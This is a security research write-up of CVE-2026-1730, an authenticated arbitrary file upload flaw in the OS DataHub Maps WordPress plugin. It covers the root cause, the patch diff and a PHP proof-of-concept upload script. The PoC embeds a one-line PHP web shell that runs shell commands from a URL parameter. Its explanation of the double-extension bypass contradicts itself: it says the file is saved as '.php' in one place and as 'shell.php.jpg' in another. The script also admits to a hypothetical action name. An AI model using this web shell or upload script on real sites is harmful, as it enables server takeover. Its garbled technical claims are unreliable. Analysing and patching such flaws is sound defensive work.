Atomic Edge analysis of CVE-2026-1730:
The OS DataHub Maps WordPress plugin, versions up to and including 1.8.3, contains an arbitrary file upload vulnerability. The flaw exists in the plugin’s file upload validation logic, allowing authenticated attackers with Author-level privileges or higher to upload malicious files, potentially leading to remote code execution. The CVSS score of 8.8 reflects the high severity of this issue.
The root cause is insufficient file type validation in the `OS_DataHub_Maps_Admin::add_file_and_ext` function within the file `os-datahub-maps/include/osmap-admin.php`. The vulnerable code iterated through a list of allowed MIME types and performed a simple `stripos` check on the full filename for the extension string. This allowed an attacker to bypass the check by using a filename like `malicious.php.jpg`, where the `.jpg` substring would match, but the actual file extension parsed by the server would be `.php`. The function incorrectly validated the file based on this substring match.
Exploitation requires an attacker to have an Author-level WordPress account. The attacker would target the plugin’s file upload functionality, which is likely exposed via an AJAX handler or admin interface. The payload would be a crafted HTTP POST request containing a malicious file (e.g., a PHP web shell). The filename would embed a double extension, such as `shell.php.jpg`, to pass the plugin’s flawed validation. The server would then save the file with the `.php` extension, making it executable within the web root.
The patch modifies the `add_file_and_ext` function. It introduces a call to `pathinfo($filename, PATHINFO_EXTENSION)` to accurately extract the file’s true extension. This value is then converted to lowercase and compared for an exact match (`$file_ext === $ext`) against the keys in the `$this->additional_mime_types` array. This change ensures validation occurs on the actual file extension, not a substring within the full filename, effectively closing the bypass. The patch also includes additional array validation in `osmap-shortcode.php` for defense in depth.
Successful exploitation grants an attacker the ability to upload arbitrary files, including PHP scripts, to the WordPress server. This leads directly to remote code execution with the privileges of the web server process. An attacker can fully compromise the host, create administrative users, deface the site, exfiltrate data, or use the server as a pivot point within the network.
--- a/os-datahub-maps/include/osmap-admin.php
+++ b/os-datahub-maps/include/osmap-admin.php
@@ -63,11 +63,15 @@
* Also add file extension checks for these file types.
*/
public function add_file_and_ext( $types, $file, $filename, $mimes ) {
- foreach ( $this->additional_mime_types as $ext => $mime ) {
- if ( false !== stripos( $filename, '.' . $ext ) ) {
- $types['ext'] = $ext;
- $types['type'] = $mime;
- $types['proper_filename'] = $filename;
+ $file_ext = pathinfo( $filename, PATHINFO_EXTENSION );
+ if ( $file_ext !== null ) {
+ $file_ext = strtolower( $file_ext );
+ foreach ( $this->additional_mime_types as $ext => $mime ) {
+ if ( $file_ext === $ext ) {
+ $types['ext'] = $ext;
+ $types['type'] = $mime;
+ $types['proper_filename'] = $filename;
+ }
}
}
--- a/os-datahub-maps/include/osmap-shortcode.php
+++ b/os-datahub-maps/include/osmap-shortcode.php
@@ -232,7 +232,7 @@
$json = $this->get_file_content( $file_arg, true );
if ( $json ) {
$decode = json_decode( $json, true, 4 );
- if ( $decode !== null ) {
+ if ( ( $decode !== null ) && ( is_array( $decode ) ) && ( is_array( $decode[0] ) ) ) {
// Ensure we have the minimum required data.
foreach ( $decode as $item ) {
$clean = $this->sanitise_specifier( $item, $is_url );
--- a/os-datahub-maps/os-datahub-maps.php
+++ b/os-datahub-maps/os-datahub-maps.php
@@ -4,7 +4,7 @@
* Plugin Name: OS DataHub Maps
* Plugin URI: https://skirridsystems.co.uk/os-datahub-maps/
* Description: Plugin for displaying OS Maps using the Data Hub Maps API.
- * Version: 1.8.3
+ * Version: 1.8.4
* Author: Simon Large
* Author URI: https://skirridsystems.co.uk/
* License: GPL-2.0+
@@ -19,7 +19,7 @@
/**
* Plugin version used for cache busting
*/
-define( 'OS_DATAHUB_MAPS_VERSION', '1.8.3' );
+define( 'OS_DATAHUB_MAPS_VERSION', '1.8.4' );
/**
* This code runs when the plugin is activated.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1730 - OS DataHub Maps <= 1.8.3 - Authenticated (Author+) Arbitrary File Upload
<?php
$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$username = 'author_user';
$password = 'author_pass';
// 1. Authenticate to WordPress to obtain cookies and nonce
$login_url = str_replace('admin-ajax.php', 'admin-post.php?action=login', $target_url);
// Note: Actual authentication requires a full WordPress login flow (wp-login.php, nonce).
// This PoC skeleton assumes the attacker has already obtained a valid session.
// A full exploit would require implementing the WordPress login sequence.
// 2. Craft the malicious upload request
// The exact action parameter for the plugin's upload handler must be identified.
// This is a template using a common WordPress AJAX pattern.
$ch = curl_init();
$post_fields = [
'action' => 'os_datahub_maps_upload', // Hypothetical action name; needs verification
'nonce' => 'VALID_NONCE_HERE', // Requires a valid nonce from the admin page
'file_upload' => new CURLFile('shell.php.jpg', 'image/jpeg', 'shell.php.jpg')
];
// File shell.php.jpg contents: <?php echo system($_GET['cmd']); ?>
// The file has a .jpg extension in the POST data but contains PHP code.
// The vulnerable validation sees '.jpg' in the filename and allows it.
// The server saves it as 'shell.php.jpg' but may execute it as PHP.
curl_setopt_array($ch, [
CURLOPT_URL => $target_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => $post_fields,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIE => 'wordpress_logged_in_abc=...', // Authenticated session cookie
CURLOPT_HEADER => true,
]);
$response = curl_exec($ch);
curl_close($ch);
// 3. If successful, the uploaded file path would be in the response.
// The attacker can then access http://vulnerable-site.com/wp-content/uploads/shell.php.jpg?cmd=id
echo "Check response for upload success and file location.n";
?>